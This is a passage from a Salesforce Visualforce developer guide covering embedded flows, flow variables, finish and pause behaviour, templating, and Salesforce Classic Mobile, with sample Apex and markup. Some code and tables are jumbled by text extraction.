Force.com Flow User
field enabled on their user detail page
Setting Variable Values in a Flow
In this example, we'll build a simple flow to allow customer support agents to troubleshoot modem issues by creating a case. You can set the value of variables when starting a flow through the
<apex:param >
component. For our example, to set the case number variable called vaCaseNumber
with the initial value 01212212 when the flow loads, use the following markup:
<apex:page >
<flow:interview name= "ModemTroubleShooting" >
<apex:param name= "vaCaseNumber" value= "01212212" />
</flow:interview >
</apex:page >
254
Render Flows with Visualforce An Advanced Example of Using <flow:interview>
You can also leverage standard Visualforce controllers to set variables. For example, if the Visualforce page is using the standardCase controller, you can enhance the page to pass in the data from the standard controller:
<apex:page standardController= "Case" tabStyle= "Case" >
<flow:interview name= "ModemTroubleShooting" >
<apex:param name= "vaCaseNumber" value= "{!Case.CaseNumber}" />
</flow:interview >
</apex:page >
For more examples of setting variable values, see Set Flow Variable Values from a Visualforce Page
on page 257. For information about
on page 261.
Setting the
finishLocation
Attribute
Building on our modem troubleshooting example, we'll also set the finishLocation
attribute to redirect the user to the Salesforce home page when they click on the Finish button at the end of the flow:
<apex:page standardController= "Case" tabStyle= "Case" >
<flow:interview name= "ModemTroubleShooting" finishLocation= "{!URLFOR('/home/home.jsp')}" >
<apex:param name= "vaCaseNumber" value= "{!case.CaseNumber}" />
</flow:interview >
</apex:page >
For more examples of setting finishLocation
, see
on page 265.
An Advanced Example of Using
<flow:interview >
The
<flow:interview >
component is designed to make it easy to develop complex Visualforce interactions. You can access additional features in your flow by creating a custom controller. With custom controllers, you can build a page with multiple components that can interact with each other. Any flow within your organization can be individually referenced by its own Apex type, and the variables in the flow can be accessed as member variables.
Note: You can set only variables that allow input access, and you can get only variables that allow output access. For each flow variable, input and output access is controlled by:
•
The
Input/Output Type
variable field in the Cloud Flow Designer
•
The isInput
and isOutput
fields on
FlowVariable
in the Metadata API
For a variable that doesn’t allow input or output access, attempts to get the variable are ignored, and compilation may fail for the
Visualforce page, its
<apex:page >
component, or the Apex class.
For our next example, the flow with unique name “ModemTroubleShooting” is referenced as
Flow.Interview.ModemTroubleShooting
. The markup illustrates how to display a value of a flow variable in a different part of the page:
<apex:page Controller= "ModemTroubleShootingCustomSimple" tabStyle= "Case" >
<flow:interview name= "ModemTroubleShooting" interview= "{!myflow}" />
<apex:outputText value= "Default Case Prioriy: {!casePriority}" />
</apex:page >
Note:
If the flow is from a managed package, the name
attribute must be in this format: namespace.flowuniquename
.
255
Render Flows with Visualforce An Advanced Example of Using <flow:interview>
The controller for the above markup looks like this: public class ModemTroubleShootingCustomSimple {
// You don't need to explicitly instantiate the Flow object;
// the class constructor is invoked automatically public Flow.Interview.ModemTroubleShooting myflow { get; set; } public String casePriority; public String getCasePriority() {
// Access flow variables as simple member variables with get/set methods if (myflow == null ) return 'High' ; else return myflow.vaCasePriority;
}
}
If you’re using a custom controller, you can also set the initial values of the variables at the beginning of the flow in the constructor of the flow. Passing in variables using the constructor is optional and isn’t necessary if you’re using
<apex:param >
tags to set the value.
Here’s an example of a custom controller that sets the values of flow variables in a constructor: public class ModemTroubleShootingCustomSetVariables { public Flow.Interview.ModemTroubleShooting myflow { get; set; } public ModemTroubleShootingCustomSetVariables() {
Map< String , Object > myMap = new Map< String , Object >(); myMap.put( 'vaCaseNumber' , '123456' ); myflow = new Flow.Interview.ModemTroubleShooting(myMap);
} public String caseNumber { set; } public String getCaseNumber() { return myflow.vaCaseNumber;
}
}
You can use the getVariableValue
method in the
Flow.Interview
class to enable a Visualforce controller to access the value of a flow variable. The variable may be in the flow embedded in the Visualforce page or in a separate flow that is called by a subflow element. The returned variable value comes from whichever flow the interview is currently running. If the specified variable can’t be found in that flow, the method returns null
. This method checks for the existence of the variable at run time only, not at compile time.
The following sample uses the getVariableValue
method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow elements, and each of the referenced flows also contains a
vaBreadCrumb
variable, the Visualforce page can provide users with breadcrumbs regardless of which flow the interview is running.
public class SampleController {
//Instance of the flow public Flow.Interview.Flow_Template_Gallery myFlow {get; set;} public String getBreadCrumb() {
String aBreadCrumb; if (myFlow== null ) { return 'Home' ;} else aBreadCrumb = ( String ) myFlow.getVariableValue( 'vaBreadCrumb' ); return (aBreadCrumb== null ?
'Home' : aBreadCrumb);
256
Render Flows with Visualforce Set Flow Variable Values from a Visualforce Page
}
}
The following table shows the differences in the naming of supported data types between the flow and Apex.
Flow
Text
Number
Currency
Date
Boolean
Apex
String
Decimal
Decimal
Date, DateTime
Boolean
As it’s a good practice to write tests against your Apex code, the following is a trivial example of writing a test class for
ModemTroubleShootingCustomSetVariables
:
@isTest private class ModemTroubleShootingCustomSetVariablesTest { static testmethod void ModemTroubleShootingCustomSetVariablestests() {
PageReference pageRef = Page.ModemTroubleShootingSetVariables;
Test.setCurrentPage(pageRef);
ModemTroubleShootingCustomSetVariables mytestController = new ModemTroubleShootingCustomSetVariables();
System.assertEquals(mytestController.getcaseNumber(), '01212212' );
}
}
Setting the
reRender
Attribute
By using the reRender
attribute, the
<flow:interview />
component re-renders the flow without refreshing the whole page:
<apex:page Controller= "ModemTroubleShootingCustomSimple" tabStyle= "Case" >
<flow:interview name= "ModemTroubleShooting" interview= "{!myflow}" reRender= "casePrioritySection" />
<apex:outputText id= "casePrioritySection" value= "Default Case Prioriy: {!casePriority}" />
</apex:page >
Warning:
If you don’t set the reRender
attribute, when you click a button to navigate to a different screen in a flow, the entire
Visualforce page refreshes, not just the
<flow:interview >
component.
Set Flow Variable Values from a Visualforce Page
After you embed your flow in a Visualforce page, set the initial values of variables, sObject variables, collection variables, and sObject collection variables through the
<apex:param >
component.
257
Render Flows with Visualforce Set Flow Variable Values from a Visualforce Page
Note: You can set variables only at the beginning of an interview. The
<apex:param >
tags are evaluated only once, when the flow is launched.
You can set only variables that allow input access. For each flow variable, input access is controlled by:
•
The
Input/Output Type
variable field in the Cloud Flow Designer
•
The isInput
field on
FlowVariable
in the Metadata API
If you reference a variable that doesn’t allow input access, attempts to set the variable are ignored. Compilation can fail for the
Visualforce page, its
<apex:page >
component, or the Apex class.
The following table lists the ways you can set a flow’s variable, sObject variable, and sObject collection variable values using Visualforce.
Method Variables sObject Variables Collection Variables sObject Collection
Variables
With a standard List controller
Setting Variable Values without a Controller
This example sets myVariable
to the value
01010101
when the interview starts.
<apex:page >
<flow:interview name= "flowname" >
<apex:param name= "myVariable" value= "01010101" />
</flow:interview >
</apex:page >
Setting Variable Values with a Standard Controller
You can use standard Visualforce controllers to set variables or sObject variables by passing in data from a record. This example sets the initial value of myVariable
to the Visualforce expression
{!account}
when the interview starts.
<apex:page standardController= "Account" tabStyle= "Account" >
<flow:interview name= "flowname" >
<apex:param name= "myVariable" value= "{!account}" />
</flow:interview >
</apex:page >
258
Render Flows with Visualforce Set Flow Variable Values from a Visualforce Page
Setting an sObject Collection Variable Value with a Standard List Controller
Because sObject collection variables represent an array of values, you must use a standard list controller or a custom Apex controller.
This example sets myCollection
to the value of
{!accounts}
when the interview starts.
<apex:page standardController= "Account" tabStyle= "Account" recordSetVar= "accounts" >
<flow:interview name= "flowname" >
<apex:param name= "myCollection" value= "{!accounts}" />
</flow:interview >
</apex:page >
Setting Variable Values with a Custom Apex Controller
For finer control over your Visualforce page than a standard controller allows, write a custom Apex controller that sets the variable value, and then reference that controller in your Visualforce page. This example uses Apex to set myVariable
to a specific account’s Id when the interview starts.
public class MyCustomController { public Account apexVar {get; set;}
} public MyCustomController() { apexVar = [
SELECT Id, Name FROM Account
WHERE Name = ‘Acme’ LIMIT 1];
}
<apex:page controller= "MyCustomController" >
<flow:interview name= "flowname" >
<apex:param name= "myVariable" value= "{!apexVar}" />
</flow:interview >
</apex:page >
This example uses Apex to set an sObject collection variable myAccount
to the
Id
and
Name
field values for every record with a
Name
of
Acme
.
public class MyCustomController { public Account[] myAccount { get { return [
SELECT Id, Name FROM account
WHERE Name = 'Acme'
ORDER BY Id
] ;
} set { myAccount = value;
}
} public MyCustomController () {
259
Render Flows with Visualforce Set Flow Variable Values from a Visualforce Page
}
}
<apex:page id= "p" controller= "MyCustomController" >
<flow:interview id= "i" name= "flowname" >
<apex:param name= "accountColl" value= "{!myAccount}" />
</flow:interview >
</apex:page >
Setting Variable Values with an Interview Map
This example uses an Interview map to set the value for accVar
to a specific account’s Id when the interview starts.
public class MyCustomController { public Flow.Interview.TestFlow myflow { get; set; }
}
<apex:page controller= "MyCustomController" >
<flow:interview name= "flowname" interview= "{!myflow}" />
</apex:page >
Here’s a similar example that sets the value for accVar
to a new account when the interview starts.
public class MyCustomController { public Flow.Interview.TestFlow myflow { get; set; }
} public MyCustomController() {
Map< String , List< Object >> myMap = new Map< String , List< Object >>(); myMap.put( 'accVar' , new Account(name = 'Acme' )); myflow = new Flow.Interview.ModemTroubleShooting(myMap);
}
} public MyCustomController() {
Map< String , Object > myMap = new Map< String , Object >(); myMap.put( 'accVar' , [SELECT Id FROM Account
WHERE Name = 'Acme' LIMIT 1]); myflow = new Flow.Interview.ModemTroubleShooting(myMap);
<apex:page controller= "MyCustomController" >
<flow:interview name= "flowname" interview= "{!myflow}" />
</apex:page >
This example uses a map to add two values to a string collection variable ( stringCollVar
) and two values to a number collection variable ( numberCollVar
).
public class MyCustomController { public Flow.Interview.flowname MyInterview { get; set; } public MyCustomController() {
String [] value1 = new String []{ 'First' , 'Second' };
Double [] value2 = new Double []{999.123456789, 666.123456789};
Map< String , Object > myMap = new Map< String , Object >();
260
Render Flows with Visualforce Get Flow Variable Values to a Visualforce Page myMap.put( 'stringCollVar' , value1); myMap.put( 'numberCollVar' , value2);
MyInterview = new Flow.Interview.flowname(myMap);
}
}
<apex:page controller= "MyCustomController" >
<flow:interview name= "flowname" interview= "{!MyInterview}" />
</apex:page >
Get Flow Variable Values to a Visualforce Page
Flow variable values can be displayed in a Visualforce page. Once you’ve embedded your flow in a Visualforce page, you can use Visualforce markup to get values for variables or sObject variables. To display values for a collection variable or an sObject collection variable, you can use Visualforce markup to get the individual values contained in the collection.
Note: You can get only variables that allow output access. For each flow variable, output access is controlled by:
•
The
Input/Output Type
variable field in the Cloud Flow Designer
•
The isOutput
field on
FlowVariable
in the Metadata API
If you reference a variable that doesn’t allow output access, attempts to get the variable are ignored. Compilation can fail for the
Visualforce page, its
<apex:page >
component, or the Apex class.
The following example uses an Apex class to get an sObject variable value from a flow and then displays it in a Visualforce page.
public class FlowController { public Flow.Interview.flowname myflow { get; set; } public Case apexCaseVar; public Case getApexCaseVar() { return myflow.caseVar;
}
}
<apex:page controller= "FlowController" tabStyle= "Case" >
<flow:interview name= "flowname" interview= "{!myflow}" />
<apex:outputText value= "Default Case Priority: {!apexCaseVar.Priority}" />
</apex:page >
This example uses an Apex class to get the values that are stored in a string collection variable ( emailsCollVar
) in the flow. Then it uses a Visualforce page to run the flow interview. The Visualforce page iterates over the flow’s collection variable and displays the values for each item in the collection.
public class FlowController { public Flow.Interview.flowname myflow { get; set; } public List< String > getVarValue() { if (myflow == null ) { return null ;
} else { return (List< String >)myflow.emailsCollVar;
}
261
Render Flows with Visualforce Get Flow Variable Values to a Visualforce Page
}
}
<apex:page controller= "FlowController" >
<flow:interview name= "flowname" interview= "{!myflow}" />
<apex:repeat value= "{!varValue}" var= "item" >
<apex:outputText value= "{!item}" /> <br/ >
</apex:repeat >
</apex:page >
The following example uses an Apex class to set the flow to
{!myflow}
and then uses a Visualforce page to run the flow interview.
The Visualforce page uses a data table to iterate over the flow’s sObject collection variable and display the values for each item in the collection.
public class MyCustomController { public Flow.Interview.flowname myflow { get; set; }
}
<apex:page controller= "MyCustomController" tabStyle= "Account" >
<flow:interview name= "flowname" interview= "{!myflow}" reRender= "nameSection" />
<!-- The data table iterates over the variable set in the "value" attribute and sets that variable to the value for the "var" attribute, so that instead of referencing {!myflow.collectionVariable} in each column, you can simply refer to "account".-->
<apex:dataTable value= "{!myflow.collectionVariable}" var= "account" rowClasses= "odd,even" border= "1" cellpadding= "4" >
<!-- Add a column for each value that you want to display.-->
<apex:column >
<apex:facet name= "header" >Name </apex:facet >
<apex:outputlink value= "/{!account['Id']}" >
{!account['Name']}
</apex:outputlink >
</apex:column >
<apex:column >
<apex:facet name= "header" >Rating </apex:facet >
<apex:outputText value= "{!account['Rating']}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >Billing City </apex:facet >
<apex:outputText value= "{!account['BillingCity']}" />
</apex:column >
<apex:column >
</apex:column >
</apex:dataTable >
</apex:page >
<apex:facet name= "header" >Employees </apex:facet >
<apex:outputText value= "{!account['NumberOfEmployees']}" />
Depending on the contents of the sObject collection variable in your flow, here’s what that data table looks like.
262
Render Flows with Visualforce Control Whether Users Can Pause a Flow from a Visualforce
Page
Control Whether Users Can Pause a Flow from a Visualforce Page
After you embed a flow in a Visualforce page with the
<flow:interview >
component, consider whether you want to let users pause flows from that page. Set the allowShowPause
attribute to false to prevent users from pausing.
Whether the Pause button appears depends on three settings.
•
Your organization’s Process Automation settings must have Let Users Pause Flows enabled.
•
For this
<flow:interview >
, allowShowPause
must not be false. The default value is true.
•
Each screen must be configured to show the Pause button.
Example:
In a Visualforce page, you’ve embedded a flow that includes three screens. Screen 1 is configured to show the Pause button. Screens 2 and 3 are configured to not show the Pause button.
Result Pause button Let Users Pause Flows
(Process Automation setting)
Enabled allowShowPause
(Visualforce component)
true
or not set
Enabled
Not enabled false true
or not set
Pause button appears only on the first screen
Pause button doesn’t appear for any screens in this Visualforce page
Pause button doesn’t appear for any screens
This example embeds the MyUniqueFlow flow in a Visualforce page and doesn’t allow the Pause button to appear.
<apex:page >
<flow:interview name= "MyUniqueFlow" allowShowPause= "false" />
</apex:page >
263
Render Flows with Visualforce Customize How Users Resume Paused Flow Interviews
Customize How Users Resume Paused Flow Interviews
By default, users can resume their paused interviews from the Paused Interviews component on their home page. If you want to customize how and where users can resume their interviews, use the pausedInterviewId
attribute on the
<flow:interview > component.
The following example shows how you can resume an interview—or start a new one—from a button on a page layout. When users click Survey Customer from a contact record, the Visualforce page does one of two things, depending on whether the user has any paused interviews for the “Survey Customers” flow.
•
If the user does, it resumes the first one.
•
If the user doesn’t, it starts a new one.
Create the Visualforce and Apex Controller
Because the Visualforce page will be referenced in a contact-specific button, it must use that standard controller. Use a controller extension to add more logic to the page with Apex, which is where the page gets the ID of the interview to resume.
<apex:page standardController= "Contact" extensions= "MyControllerExtension_SurveyCustomers" >
<flow:interview name= "Survey_Customers" pausedInterviewId= "{!pausedId}" />
</apex:page >
This Apex controller extension performs a SOQL query to get a list of paused interviews. If nothing is returned from the query, getPausedId()
returns a null value, and the Visualforce page starts a new interview. If at least one interview is returned from the query, the Visualforce page resumes the first interview in that list.
public class MyControllerExtension_SurveyCustomers {
}
// Empty constructor, to allow use as a controller extension public MyControllerExtension_SurveyCustomers(
ApexPages.StandardController stdController) { }
// Flow support methods public String getInterviews() { return null ; } public String showList { get; set; } public String getPausedId() {
String currentUser = UserInfo.getUserId();
List<FlowInterview> interviews =
[SELECT Id FROM FlowInterview WHERE CreatedById = :currentUser AND InterviewLabel
LIKE '%Survey Customers%' ]; if (interviews == null || interviews.isEmpty()) { return null ; // early out
}
// Return the ID for the first interview in the list return interviews.get(0).Id;
}
264
Render Flows with Visualforce Configure the finishLocation Attribute in a Flow
Reference the Visualforce Page from a Page Layout
To actually expose this Visualforce page to your users, make it available from the Contact page layout.
Tip: If you embed the Visualforce page directly in a page layout, every time a user accesses a contact, they automatically resume the first of their paused interviews—possibly unintentionally. It’s better for the user to make the conscious choice to start or resume an interview, so let’s use a custom button.
First create a custom button for the Contact object that links to the Visualforce page. Use these field values to create the button.
Field
Label
Display Type
Content Source
Content
Value
Survey Customer
Detail Page Button
Visualforce Page
YourVisualforcePage
Finally, add the button to your Contact page layout.
Configure the
finishLocation
Attribute in a Flow
If finishLocation
isn’t specified, users who click Finish start a new interview and see the first screen of the flow. You can shape what happens when a user clicks Finish on the final screen by using the
URLFOR
function, the
$Page
variable, or a controller.
The following sections show the ways you can configure the
<flow:interview >
component’s finishLocation
attribute.
•
•
•
Set
finishLocation
with the
URLFOR
Function
Note: You can't redirect flow users to a URL that’s external to your Salesforce organization.
To route users to a relative URL or a specific record or detail page, using its ID, use the
URLFOR
function.
This example routes users to the Salesforce home page.
<apex:page >
<flow:interview name= "MyUniqueFlow" finishLocation= "{!URLFOR('/home/home.jsp')}" />
</apex:page >
This example routes users to a detail page with an ID of 001D000000IpE9X.
<apex:page >
<flow:interview name= "MyUniqueFlow" finishLocation= "{!URLFOR('/001D000000IpE9X')}" />
</apex:page >
For more information about
URLFOR
, see
on page 631.
265
Render Flows with Visualforce Customize a Flow’s User Interface
Set
finishLocation
with the
$Page
Variable
To route users to another Visualforce page without using
URLFOR
, set finishLocation
to the name of the destination page with the format
{!$Page.pageName}
.
<apex:page >
<flow:interview name= "MyUniqueFlow" finishLocation= "{!$Page.MyUniquePage}" />
</apex:page >
For more information about
$Page
, see
Set
finishLocation
with a Controller
You can set finishLocation
in a few ways with a custom controller.
This sample controller configures a flow’s finish behavior in three different ways.
•
getPageA
instantiates a new page reference by passing a string to define the location.
•
getPageB
returns a string that is treated like a PageReference.
•
getPageC
returns a string that gets translated into a PageReference.
public class myFlowController { public PageReference getPageA() { return new PageReference( '/300' );
} public String getPageB() { return '/300' ;
} public String getPageC() { return '/apex/my_finish_page' ;
}
}
Here’s a sample Visualforce page references that controller and sets the flow finish behavior to the first option.
<apex:page controller= "myFlowController" >
<h1 >Congratulations!
</h1 > This is your new page.
<flow:interview name= "flowname" finishLocation= "{!pageA}" />
</apex:page >
If you use a standard controller to display a record on the same page as the flow, users who click Finish start a new flow interview and see the first screen of the flow, without the record. This is because the id
query string parameter isn’t preserved in the page URL. If needed, configure the finishLocation
to route users back to the record.
Customize a Flow’s User Interface
After you’ve embedded a flow in a Visualforce page, you can customize what the flow looks like at run time by applying custom styles using CSS. Using a combination of flow attributes and CSS classes, you can customize the individual parts of a flow, such as the button location, button style, background, and the look and feel of the screen labels.
266
Render Flows with Visualforce Customize a Flow’s User Interface
Flow Button Attributes
Use these attributes to change how the Next, Previous, Finish, Pause, and Don’t Pause buttons appear in your flow.
Attribute
buttonLocation
Description
Defines the location of the navigation buttons in the flow’s user interface. Available values are:
•
top
•
bottom
•
both
For example:
<apex:page >
<flow:interview name= "MyFlow" buttonLocation= "bottom" />
</apex:page >
Note:
If unspecified, the buttonLocation
value defaults to both
.
buttonStyle
Assigns a style to the flow navigation buttons as a set. Can only be used for inline styling, not for
CSS classes.
For example:
<apex:page >
<flow:interview name= "MyFlow" buttonStyle= "color:#050; background-color:#fed; border:1px solid;" />
</apex:page >
Flow-Specific CSS Classes
You can override these predefined flow style classes with your own CSS styles.
Flow Style Class
FlowContainer
FlowPageBlockBtns
Applies to...
The
<div >
element containing the flow.
The
<apex:pageBlockButtons >
element containing the flow navigation buttons.
Note: To prevent your CSS styling for flow navigation buttons from being overwritten by button styling applied elsewhere in the system, we recommend you specify this flow style class each time you apply CSS styling to flow navigation buttons.
For example, instead of
.FlowPreviousBtn {}
, enter
.FlowPageBlockBtns
.FlowPreviousBtn {}
.
FlowCancelBtn
FlowPauseBtn
FlowPreviousBtn
FlowNextBtn
The Don’t Pause button.
The Pause button.
The Previous button.
The Next button.
267
Render Flows with Visualforce
Flow Style Class
FlowFinishBtn
FlowText
FlowTextArea
FlowNumber
FlowDate
FlowCurrency
FlowPassword
FlowRadio
FlowDropdown
Applies to...
The Finish button.
A text field label.
A text area field label.
A number field label.
A date field label.
A currency field label.
A password field label.
A radio button field label.
A drop-down list label.
Customize a Flow’s User Interface
268
CHAPTER 18 Templating with Visualforce
Visualforce provides several strategies for reusing similar content across multiple Visualforce pages. The method you choose depends on how flexible you need your reused template to be. The more flexible a templating method is, the more any implementation of a template using that method can be modified. The following template methods are available, in order of most to least flexible:
Similar to the way you can encapsulate a piece of code in a method and then reuse that method several times in a program, you can encapsulate a common design pattern in a custom component and then reuse that component several times in one or more
Visualforce pages. Defining custom components is the most flexible templating method because they can contain any valid Visualforce tags and can be imported without restrictions into any Visualforce page. However custom components should not be used to define reusable Visualforce pages. If you want to reuse the content of an entire Visualforce page, choose one of the other two templating methods.
If you want to define a base template that allows portions of the template to change with each implementation, use the
<apex:composition >
component. This templating method is best for situations when you want to maintain an overall structure to a page, but need the content of individual pages to be different, such as a website for news articles where different articles should appear with the same page layout.
Through this technique, you can also define a template from a PageReference returned by a controller.
Referencing an Existing Page with
If you want the entire content of a Visualforce page inserted into another page, use the
<apex:include >
component. This templating method is best for situations when you want to replicate the same content in multiple areas, such as a feedback form that appears on every page of a website.
Templates made with
<apex:insert >
and
<apex:composition >
should only be used when you want to reference an already existing Visualforce page. If you require only a set of components to be duplicated, use custom components.
Defining Templates with
<apex:composition >
All templates defined using
<apex:composition >
must have one or more child
<apex:insert >
tags. An
<apex:insert > tag indicates to pages that import the template that a section needs a definition. Any Visualforce page that imports a template using
<apex:composition >
must use
<apex:define >
to specify the content of each
<apex:insert >
section of the template.
You can create a skeleton template that allows subsequent Visualforce pages to implement different content within the same standard structure. To do so, create a template page with the
<apex:composition >
tag.
The following example shows how you can use
<apex:composition >
,
<apex:insert >
, and
<apex:define >
to implement a skeleton template.
First, create an empty page called
myFormComposition
that uses a controller called compositionExample
:
<apex:page controller= "compositionExample" >
</apex:page >
269
Templating with Visualforce Defining Templates with <apex:composition>
After saving the page, a prompt appears that asks you to create compositionExample
. Use the following code to define that custom controller: public class compositionExample{
String name;
Integer age;
String meal;
String color;
Boolean showGreeting = false ; public PageReference save() { showGreeting = true ; return null ;
} public void setNameField( String nameField) { name = nameField;
} public String getNameField() { return name;
} public void setAgeField( Integer ageField) { age= ageField;
} public Integer getAgeField() { return age;
} public void setMealField( String mealField) { meal= mealField;
} public String getMealField() { return meal;
} public void setColorField( String colorField) { color = colorField;
} public String getColorField() { return color;
} public Boolean getShowGreeting() { return showGreeting;
}
}
270
Templating with Visualforce Defining Templates with <apex:composition>
Next, return to myFormComposition
and create a skeleton template:
<apex:page controller= "compositionExample" >
<apex:form >
<apex:outputLabel value= "Enter your name: " for= "nameField" />
<apex:inputText id= "nameField" value= "{!nameField}" />
<br />
<apex:insert name= "age" />
<br />
<apex:insert name= "meal" />
<br />
<p >That 's everything, right?</p>
<apex:commandButton action= "{!save}" value= "Save" id= "saveButton" />
</apex:form >
</apex:page >
Notice the two
<apex:insert >
fields requiring the
age
and
meal
content. The markup for these fields is defined in whichever page calls this composition template.
Next, create a page called
myFullForm
, which defines the
<apex:insert >
tags in myFormComposition
:
<apex:page controller= "compositionExample" >
<apex:messages/ >
<apex:composition template= "myFormComposition" >
<apex:define name= "meal" >
<apex:outputLabel value= "Enter your favorite meal: " for= "mealField" />
<apex:inputText id= "mealField" value= "{!mealField}" />
</apex:define >
<apex:define name= "age" >
<apex:outputLabel value= "Enter your age: " for= "ageField" />
<apex:inputText id= "ageField" value= "{!ageField}" />
</apex:define >
<apex:outputLabel value= "Enter your favorite color: " for= "colorField" />
<apex:inputText id= "colorField" value= "{!colorField}" />
</apex:composition >
<apex:outputText id= "greeting" rendered= "{!showGreeting}" value= "Hello {!nameField}.
You look {!ageField} years old. Would you like some {!colorField} {!mealField}?
"/>
</apex:page >
Notice the following about the markup:
•
When you save
myFullForm
, the previously defined
<apex:inputText >
tags and Save button appear.
•
Since the composition page requires
age
and
meal
fields,
myFullForm
defines them as text input fields. The order in which they appear on the page does not matter;
myFormComposition
specifies that the
age
field is always displayed before the
meal
field.
•
The
name
field is still imported, even without a matching
<apex:define >
field.
•
The
color
field is disregarded, even though controller code exists for the field. This is because the composition template does not require any field named
color
.
271
Templating with Visualforce Defining Templates with <apex:composition>
•
The
age
and
meal
fields do not need to be text inputs. The components within an
<apex:define >
tag can be any valid
Visualforce tag.
To show how you can use any valid Visualforce in an
<apex:define >
tag, create a new Visualforce page called myAgelessForm and use the following markup:
<apex:page controller= "compositionExample" >
<apex:messages/ >
<apex:composition template= "myFormComposition" >
<apex:define name= "meal" >
<apex:outputLabel value= "Enter your favorite meal: " for= "mealField" />
<apex:inputText id= "mealField" value= "{!mealField}" />
</apex:define >
<apex:define name= "age" >
<p >You look great for your age!
</p >
</apex:define >
</apex:composition >
<apex:outputText id= "greeting" rendered= "{!showGreeting}" value= "Hello {!nameField}.
Would you like some delicious {!mealField}?
"/>
</apex:page >
Notice that the composition template only requires an
<apex:define >
tag to exist. In this example,
age
is defined as text.
Dynamic Templates
A dynamic template allows you to assign a template through a PageReference. The template name is assigned to a controller method that returns a PageReference containing the template you want to use.
For example, create a page called
myAppliedTemplate
that defines the skeleton template:
<apex:page >
<apex:insert name= "name" />
</apex:page >
Next, create a controller called dynamicComposition
with a method that will return a reference to this page: public class dynamicComposition { public PageReference getmyTemplate() { return Page.myAppliedTemplate;
}
}
Last, create a page called myDynamicComposition
that implements this controller and the dynamic template:
<apex:page controller= "dynamicComposition" >
<apex:composition template= "{!myTemplate}" >
<apex:define name= "name" >
Hello {!$User.FirstName}, you look quite well.
</apex:define >
</apex:composition >
</apex:page >
272
Templating with Visualforce Referencing an Existing Page with <apex:include>
Referencing an Existing Page with
<apex:include >
Use the
<apex:include >
tag when you want to duplicate the entire content of another page without making any changes. You can use this technique to reference existing markup that will be used the same way in several locations.
Note: You should not use
<apex:include >
if you are only duplicating components. Custom components are better suited
for reusable segments of code.
For example, suppose you want to create a form that takes a user's name and displays it back to them. First, create a page called formTemplate
that represents a reusable form and uses a controller called templateExample
:
<apex:page controller= "templateExample" >
</apex:page >
After you receive the prompt about templateExample
not existing, use the following code to define that custom controller: public class templateExample{
String name;
Boolean showGreeting = false ; public PageReference save() { showGreeting = true ; return null ;
} public void setNameField( String nameField) { name = nameField;
} public String getNameField() { return name;
} public Boolean getShowGreeting() { return showGreeting;
}
}
Next, return to formTemplate
and add the following markup:
<apex:page controller= "templateExample" >
<apex:form >
<apex:outputLabel value= "Enter your name: " for= "nameField" />
<apex:inputText id= "nameField" value= "{!nameField}" />
<apex:commandButton action= "{!save}" value= "Save" id= "saveButton" />
</apex:form >
</apex:page >
Note that nothing should happen if you click Save. This is expected behavior.
Next, create a page called
displayName
, which includes formTemplate
:
<apex:page controller= "templateExample" >
<apex:include pageName= "formTemplate" />
273
Templating with Visualforce Referencing an Existing Page with <apex:include>
<apex:actionSupport event= "onClick" action= "{!save}" rerender= "greeting" />
<apex:outputText id= "greeting" rendered= "{!showGreeting}" value= "Hello {!nameField}" />
</apex:page >
When you save this page, the entire formTemplate
page is imported. When you enter a name and click Save the form passes a true
value to the showGreeting
field, which then renders the
<apex:outputText >
and displays the user's name.
You can create another Visualforce page that uses formTemplate
to display a different greeting. Create a page called displayBoldName
and use the following markup:
<apex:page controller= "templateExample" >
<style type= "text/css" >
.boldify { font-weight: bolder; }
</style >
<apex:include pageName= "formTemplate" />
<apex:actionSupport event= "onClick" action= "{!save}" rerender= "greeting" />
<apex:outputText id= "greeting" rendered= "{!showGreeting}" styleClass= "boldify" value= "I hope you are well, {!nameField}." />
</apex:page >
Notice that although the displayed text changes, the templateExample
logic remains the same.
274
CHAPTER 19 Developing for Mobile Devices
Developers can use Visualforce and Apex to write sophisticated and powerful applications that run natively on the Force.com platform.
To extend applications built on the Force.com platform to mobile devices, developers can use Visualforce Mobile. Visualforce Mobile combines the speed and reliability of Salesforce Classic Mobile, Salesforce’s native client application, with a fully customizable, browser-based user interface.
Visualforce Mobile is a hybrid of client-side and on-demand programming that lets developers leverage the offline data access offered by Salesforce Classic Mobile along with the flexibility and rapid development offered by Visualforce and Apex.
Salesforce Classic Mobile for BlackBerry and Salesforce Classic Mobile for iPhone can render Visualforce pages and web pages directly within the client application in an embedded browser. Visualforce Mobile pages can even execute JavaScript code that forces Salesforce
Classic Mobile to synchronize data and close the embedded browser.
What is Salesforce Classic Mobile?
Salesforce Classic Mobile is a client application provided by Salesforce that allows users access to their data from an iPhone or Android mobile device. The Salesforce Classic Mobile client application exchanges data with Salesforce over wireless carrier networks, and stores a local copy of the user’s data in its own database on the mobile device. The data sent to the device is determined by a mobile configuration.
Mobile configurations are sets of parameters that define a relevant subset of the user's Salesforce records.
A separate Salesforce Classic Mobile license is required for each user who uses a mobile device to access Salesforce. For organizations using Performance, Unlimited, and Developer Editions, Salesforce provides one mobile license for each Salesforce license. Organizations using Professional or Enterprise Editions must purchase mobile licenses separately.
Which Devices Can Run Salesforce Classic Mobile and Visualforce Mobile?
Salesforce Classic Mobile can run on most iPhone and Android devices.
Note:
What are the Capabilities and Limitations of the Mobile Application?
Salesforce Classic Mobile is a native client application with an embedded browser that can pass information between the client application and Visualforce pages. The embedded browser communicates with Salesforce using the device's internet connection; the native client application communicates with Salesforce asynchronously through the SOAP API. The embedded browser can execute JavaScript, but the native client application cannot.
The following list outlines the capabilities and limitations of the native client application:
Available Objects
Administrators can mobilize accounts, assets, contacts, opportunities, leads, tasks, events, price books, products, cases, solutions, and custom objects. Custom links, s-controls, mashups, merge fields, and image fields cannot be mobilized. The following do not
275
Developing for Mobile Devices What is Salesforce Classic Mobile?
execute in the mobile client application but will run server-side after a record is saved and submitted to Salesforce: workflow rules, validation rules, formula fields, and Apex triggers.
Permissions, Record Types, and Page Layouts
User permissions, record types, and page layouts are inherited from Salesforce. Administrators can optionally
Related Lists
If administrators mobilize a related object—in other words, add a child data set to a parent data set—the object automatically becomes a related list on the mobile device.
Dashboards and Reports
Reports are sent to the device in Excel format and display in a basic table. The report viewer in the mobile application does not support sorting, summaries, subtotals, or grouping.
Custom List Views
iPhone users can access custom views created by Salesforce administrators in the Mobile Administration Console. In the mobile application, custom views are limited to two columns.
Visualforce Tabs and Web Tabs
